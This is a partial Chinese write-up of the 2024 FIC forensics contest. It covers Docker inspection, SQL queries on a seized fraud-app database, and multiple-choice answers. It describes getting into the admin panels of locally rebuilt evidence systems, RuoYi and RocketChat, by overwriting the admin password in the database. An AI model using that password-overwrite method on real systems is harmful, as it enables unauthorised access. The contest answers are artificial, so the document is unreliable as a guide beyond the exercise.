vi BOOT-INF/classes/application.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application.yml
4.定时报错问题
修改Sys_job
0 0/2 * * * ?
秒: 0 → 每分鐘的第0秒触发。
分钟: 0/2 → 从第0分钟开始,每隔2分钟触发一次(即0,2,4,...,58分钟)。
其他字段: * 表示“任意值”,? 表示“不指定星期几”。
总体含义: 每两分钟运行一次,精确在偶数分钟的0秒(如00:00:00, 00:02:00等)。

5.登录受限:靶机搭建在本地,可以不用修改
尝试运行:
java -jar /webapp/ruoyi-admin.jar
访问:

成功,在数据库中修改admin密码:


成功登录:


总共有877页用户


根据手机检材聊天记录可知用户账号为lu123456

查看受害人的账单流水即可:


资金统计中有:



重构了半天环境的结局……
不想做了,后边WP来自(第四届FIC线上赛,官方复盘在这里!、2024第四届FIC初赛Writeup | ZhangZ-Blog)

docker -v
docker version
由第13题可继续查看 Docker 对象的详细信息
docker inspect 9bf1cecec395

同理由13题在数据库服务器中可查看
docker images
A. 2024/3/13 12:15:23
B. 2024/3/13 20:15:23
C. 2024/3/14 00:15:23
D. 2024/3/13 08:15:23
docker inspect 9bf1cecec395
默认时间是UTC,需要+8


使用SQL语句进行查询,群邀请表查询邀请人数最多的用户。
SELECT inviter_id, COUNT(*) AS invite_count
FROM app_group_apply
WHERE status = 1
GROUP BY inviter_id
ORDER BY invite_count DESC
LIMIT 10;

查询该用户信息,命令如下:
SELECT * from app_user_info WHERE id = 53576061

使用命令查看红包流水表查询抢得最多红包金额的用户。
SELECT user_id, SUM(money) as total_money
FROM app_grop_redpacket_member
GROUP BY user_id ORDER BY total_money desc;
SELECT * from app_user_info WHERE id = 90671142

查询该用户信息,命令如下:
SELECT * from app_user_info WHERE id = 90671142

使用查询语句查询得到总额(数据库中备注信息,有说明status=3为提现成功)。
SELECT SUM(amount) FROM `app_user_withdraw` WHERE `status` = 3

rocketchat的后台地址是:http://192.168.8.128:3000/home
esxi得到ip,然后默认端口是3000
账号密码在Windows里面

admin@admin.com
Zhao
rocketchat后台登录成功,聊天中第三个是bot

使用linux命令查看docker容器监听的端口即可
docker exec -it 9 /bin/bash
netstate -anpt

由31题可知
admin@admin.com
navicat连接后可以看到服务器版本为5.0.24

登录后查看设置-文件上传

A. 2024/3/14 8:18:54
B. 2024/3/14 8:19:54
C. 2024/3/14 8:17:54
D. 2024/3/14 8:15:54
Rocket绕密:登录界面点击注册。

注册成功后,用你注册的密码替换admin的密码即可。




A.2024/3/15 15:00:00-16:00:00
B.2024/3/15 16:00:00-17:00:00
C.2024/3/15 17:00:00-18:00:00
D.2024/3/15 18:00:00-19:00:00

根据手机部分题目可知未抓捕的重要人员为老苏,查看该账号的信息可得。

OpenWRT 是一个专门为路由器、嵌入式设备设计的开源 Linux 操作系统。
简单讲,它就像是给你的路由器装了一个小型、可定制的 Linux 系统,让原本只能基础上网的路由器,变得超级强大,比如可以:
OpenWRT的登录密码在windows浏览器保存(详见检材3-计算机部分第17题)

账密在这里


静态分析网卡配置文件或者在页面配置中可以查看:



docker version

服务-NasTools内可发现:



根据配置文件,第一个不是节点所以54-1=53

